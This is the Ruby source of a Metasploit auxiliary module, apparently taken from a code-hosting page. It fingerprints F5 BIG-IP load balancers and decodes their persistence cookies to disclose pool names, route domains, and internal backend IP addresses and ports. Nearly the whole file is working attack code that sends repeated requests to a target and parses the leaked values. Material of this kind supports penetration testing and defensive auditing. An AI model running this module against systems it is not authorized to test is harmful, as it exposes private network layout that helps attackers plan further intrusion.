Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::HttpClient89def initialize(info = {})10super(11update_info(12info,13'Name' => 'F5 BIG-IP Backend Cookie Disclosure',14'Description' => %q{15This module identifies F5 BIG-IP load balancers and leaks backend information16(pool name, routed domain, and backend servers' IP addresses and ports) through17cookies inserted by the BIG-IP systems.18},19'Author' => [20'Thanat0s <thanspam[at]trollprod.org>',21'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',22'Nikita Oleksov <neoleksov[at]gmail.com>',23'Denis Kolegov <dnkolegov[at]gmail.com>',24'Paul-Emmanuel Raoul <[email protected]>'25],26'References' => [27['URL', 'https://support.f5.com/csp/article/K6917'],28['URL', 'https://support.f5.com/csp/article/K7784'],29['URL', 'https://support.f5.com/csp/article/K14784'],30['URL', 'https://support.f5.com/csp/article/K23254150']31],32'License' => MSF_LICENSE,33'DefaultOptions' => {34'SSL' => true35},36'Notes' => {37'Stability' => [CRASH_SAFE],38'Reliability' => [],39'SideEffects' => []40}41)42)4344register_options(45[46OptInt.new('RPORT', [true, 'The BIG-IP service port', 443]),47OptString.new('TARGETURI', [true, 'The URI path to test', '/']),48OptInt.new('REQUESTS', [true, 'The number of requests to send', 10])49]50)51end5253def change_endianness(value, size = 4)54conversion = nil55if size == 456conversion = [value].pack('V').unpack('N').first57elsif size == 258conversion = [value].pack('v').unpack('n').first59end60conversion61end6263def cookie_decode(cookie_value)64backend = {}65if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./66host = Regexp.last_match(1).to_i67port = Regexp.last_match(2).to_i68host = change_endianness(host)69host = Rex::Socket.addr_itoa(host)70port = change_endianness(port, 2)71elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/72host = Regexp.last_match(1).to_i(16)73port = Regexp.last_match(2).to_i74host = Rex::Socket.addr_itoa(host)75elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/76host = Regexp.last_match(1).to_i(16)77port = Regexp.last_match(2).to_i78host = Rex::Socket.addr_itoa(host, true)79port = change_endianness(port, 2)80elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/81host = Regexp.last_match(1).to_i(16)82port = Regexp.last_match(2).to_i83host = Rex::Socket.addr_itoa(host, true)84else85host = nil86port = nil87end8889backend[:host] = host.nil? ? nil : host90backend[:port] = port.nil? ? nil : port91backend92end9394def fetch_cookie95# Request a page and extract a F5 looking cookie96cookie = {}97res = send_request_raw('method' => 'GET', 'uri' => @uri)9899unless res.nil?100# Get the SLB session IDs for all cases:101# 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000",102# 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80",103# 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480",104# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80"105106regexp = /107([~.\-\w]+)=(((?:\d+\.){2}\d+)|108(rd\d+o0{20}f{4}\w+o\d{1,5})|109(vi([a-f0-9]{32})\.(\d{1,5}))|110(rd\d+o([a-f0-9]{32})o(\d{1,5})))111(?:$|,|;|\s)112/x113m = res.get_cookies.match(regexp)114cookie[:id] = m.nil? ? nil : m[1]115cookie[:value] = m.nil? ? nil : m[2]116end117cookie118end119120def run121requests = datastore['REQUESTS']122backends = []123cookie_name = ''124pool_name = ''125route_domain = ''126@uri = normalize_uri(target_uri.path.to_s)127print_status("Starting request #{@uri}")128129(1..requests).each do |i|130cookie = fetch_cookie # Get the cookie131# If the cookie is not found, stop process132if cookie.empty? || cookie[:id].nil?133print_error('F5 BIG-IP load balancing cookie not found')134return nil135end136137# Print the cookie name on the first request138if i == 1139cookie_name = cookie[:id]140print_good("F5 BIG-IP load balancing cookie \"#{cookie_name} = #{cookie[:value]}\" found")141if cookie[:id].start_with?('BIGipServer')142pool_name = cookie[:id].split('BIGipServer')[1]143print_good("Load balancing pool name \"#{pool_name}\" found")144end145if cookie[:value].start_with?('rd')146route_domain = cookie[:value].split('rd')[1].split('o')[0]147print_good("Route domain \"#{route_domain}\" found")148end149end150151backend = cookie_decode(cookie[:value])152unless backend[:host].nil? || backends.include?(backend)153print_good("Backend #{backend[:host]}:#{backend[:port]} found")154backends.push(backend)155end156end157158# Reporting found cookie name in database159unless cookie_name.empty?160report_note(host: rhost, type: 'f5_load_balancer_cookie_name', data: cookie_name)161# Reporting found pool name in database162unless pool_name.empty?163report_note(host: rhost, type: 'f5_load_balancer_pool_name', data: pool_name)164end165# Reporting found route domain in database166unless route_domain.empty?167report_note(host: rhost, type: 'f5_load_balancer_route_domain', data: route_domain)168end169end170# Reporting found backends in database171unless backends.empty?172report_note(host: rhost, type: 'f5_load_balancer_backends', data: backends)173end174rescue ::Rex::ConnectionRefused, ::Rex::ConnectionError175print_error('Network connection error')176rescue ::OpenSSL::SSL::SSLError177print_error('SSL/TLS connection error')178end179end180181182